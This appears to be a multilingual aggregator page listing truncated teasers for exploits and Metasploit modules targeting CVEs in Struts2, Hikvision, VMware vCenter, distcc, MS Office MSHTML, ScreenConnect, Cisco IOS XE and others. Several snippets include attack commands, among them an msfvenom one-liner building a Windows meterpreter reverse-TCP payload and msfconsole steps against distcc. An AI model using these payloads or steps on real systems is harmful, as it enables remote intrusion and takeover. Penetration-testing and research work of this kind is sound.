apache-struts2-CVE-2017-5638

apache-struts2-CVE-2017-5638 Демонстрационное приложение и эксплойт Пример приложения Apache Struts2 Struts2-showcase: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.12 Ссылка на эксплойт: https://github.com/rapid7/metasploit-framework/issues/8064...

CVE-2021-36260-metasploit

CVE-2021-36260-metasploit Le script metasploit POC concernant CVE-2021-36260. Une vulnérabilité d'injection de commandes dans le serveur web de certains produits Hikvision, un attaquant peut exploiter la vulnérabilité pour lancer une attaque d'injection de commandes en envoyant des messages avec...

Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687

🎬 Это видео с YouTube 1️⃣ Определение цели Nmap root@kitploit: nmap -sV -p 3632 192.168.56.102 ✅ Результат будет таким: 3632/tcp open distccd v1 👉 Значит, distcc открыт и его можно эксплуатировать. 2️⃣ Запуск Metasploit root@kitploit: msfconsole 3️⃣ Выбор эксплойта distcc root@kitploit: use...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 RCE non autorisée dans VMware vCenter script d'exploitation metasploit préparation root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit

Microsoft-Office-Word-MSHTML-Exploit-d'exécution-de-code-à-distance CVE-2021-40444 EXPLOIT À UTILISER DANS METASPLOIT, PERMET AUX ATTAQUANTS D'OBTENIR UNE EXÉCUTION DE CODE À DISTANCE VIA MICROSOFT OFFICE WORD EN INJECTANT UN CODE MALVEILLANT DANS LE FICHIER...

CVE-2012-2982_Python

CVE-2012-2982Python PoC-скрипт на Python как упражнение с tryhackme: https://tryhackme.com/room/intropocscripting Это метасплойт CVE: https://www.exploit-db.com/exploits/21851 Это изменения, внесённые после обнаружения эксплойта:...

CVE-2021-22005

CVE-2021-22005-metasploit metasploit-скрипт POC/EXP для CVE-2021-22005: VMware vCenter Server содержит уязвимость произвольной загрузки файлов подготовка POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Однострочник для создания/генерации полезной нагрузки для Windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe...

CVE-2012-1495-Webcalendar-

CVE-2012-1495-Webcalendar- 전제 조건: Kali Linux 또는 Parrot OS 머신 1- 저장소를 클론합니다 2- 'webcalendar' 아카이브를 추출합니다 3- Docker 컨테이너를 생성하고 다음 명령어로 실행합니다: docker build -t webcalendar . docker run -d -p 80:80 webcalendar 4- Kali 머신에서 metasploit을 실행하고 exploit을 찾은 후 실행합니다. 보고서 참조...

CVE-2017-9805-Apache-Struts-Fuzz-N-Sploit

CVE-2017-9805StrutsFuzzNSploit Просто ужасный скрипт, который я написал на Python3 для фаззинга и, при желании, эксплуатации через Metasploit: CVE-2017-9805 RCE для CTF и прочего в соответствии с лицензией thugcrowd DWTFYW Public License, которую я украл у тех классных котиков =...

SonicWall SMA1000 Server-Side Request Forgery / Remote Command Execution

This Metasploit module exploits a server-side request forgery vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service to access the internal Erlang distribution service. After authenticating using the known Erlang distribution cookie, the module invokes os:cmd/1 through Erlang RPC to...

HTTP Fetch, Reverse TCP Stager

Fetch and execute an ARMLE payload from an HTTP server. Connect back to the attacker Module Options msf use payload/cmd/linux/http/armle/meterpreter/reversetcp msf payloadreversetcp show actions ...actions... msf payloadreversetcp set ACTION msf payloadreversetcp show options ...show and set...

CVE-2024-1709

ConnectWise ScreenConnect 23.9.7 and prior are affected by an Authentication Bypass Using an Alternate Path or Channel vulnerability, which may allow an attacker direct access to confidential information or critical systems. Recent assessments: sfewer-r7 at February 22, 2024 4:54pm UTC reported:...

CVE-2023-20273

A vulnerability in the web UI feature of Cisco IOS XE Software could allow an authenticated, remote attacker to inject commands with the privileges of root. This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by sending crafted input to the web...

CVE-2021-26295

Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz. Recent assessments: zeroSteiner at March 31, 2021 1:24pm UTC reported: This vulnerability is pretty straightforward to exploit. It is due to an...

Documalis Free PDF Editor 5.7.2.26 / Documalis Free PDF Scanner 5.7.2.122 Buffer Overflow Exploit

Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the us...

CVE-2020-13166

The management tool in MyLittleAdmin 3.8 allows remote attackers to execute arbitrary code because machineKey is hardcoded the same for all customers’ installations in web.config, and can be used to send serialized ASP code. Recent assessments: wvu-r7 at May 21, 2020 5:50am UTC reported: Metasplo...

CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)

class MetasploitModule 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal', 'Description' = %qAn issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a .......

Android Janus APK Signature Bypass

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core/payload/apk' class MetasploitModule "Android Janus APK Signature bypass", 'Description' = %q This module exploits CVE-2017-13156 in Android to install ...

ManageEngine EventLog Analyzer - Multiple Vulnerabilities (2)

Exploit for multiple platform in category web applications Multiple vulnerabilities in ManageEngine EventLog Analyzer Discovered by Pedro Ribeiro email protected, Agile Information Security ========================================================================== Disclosure: 05/11/2014 / Last...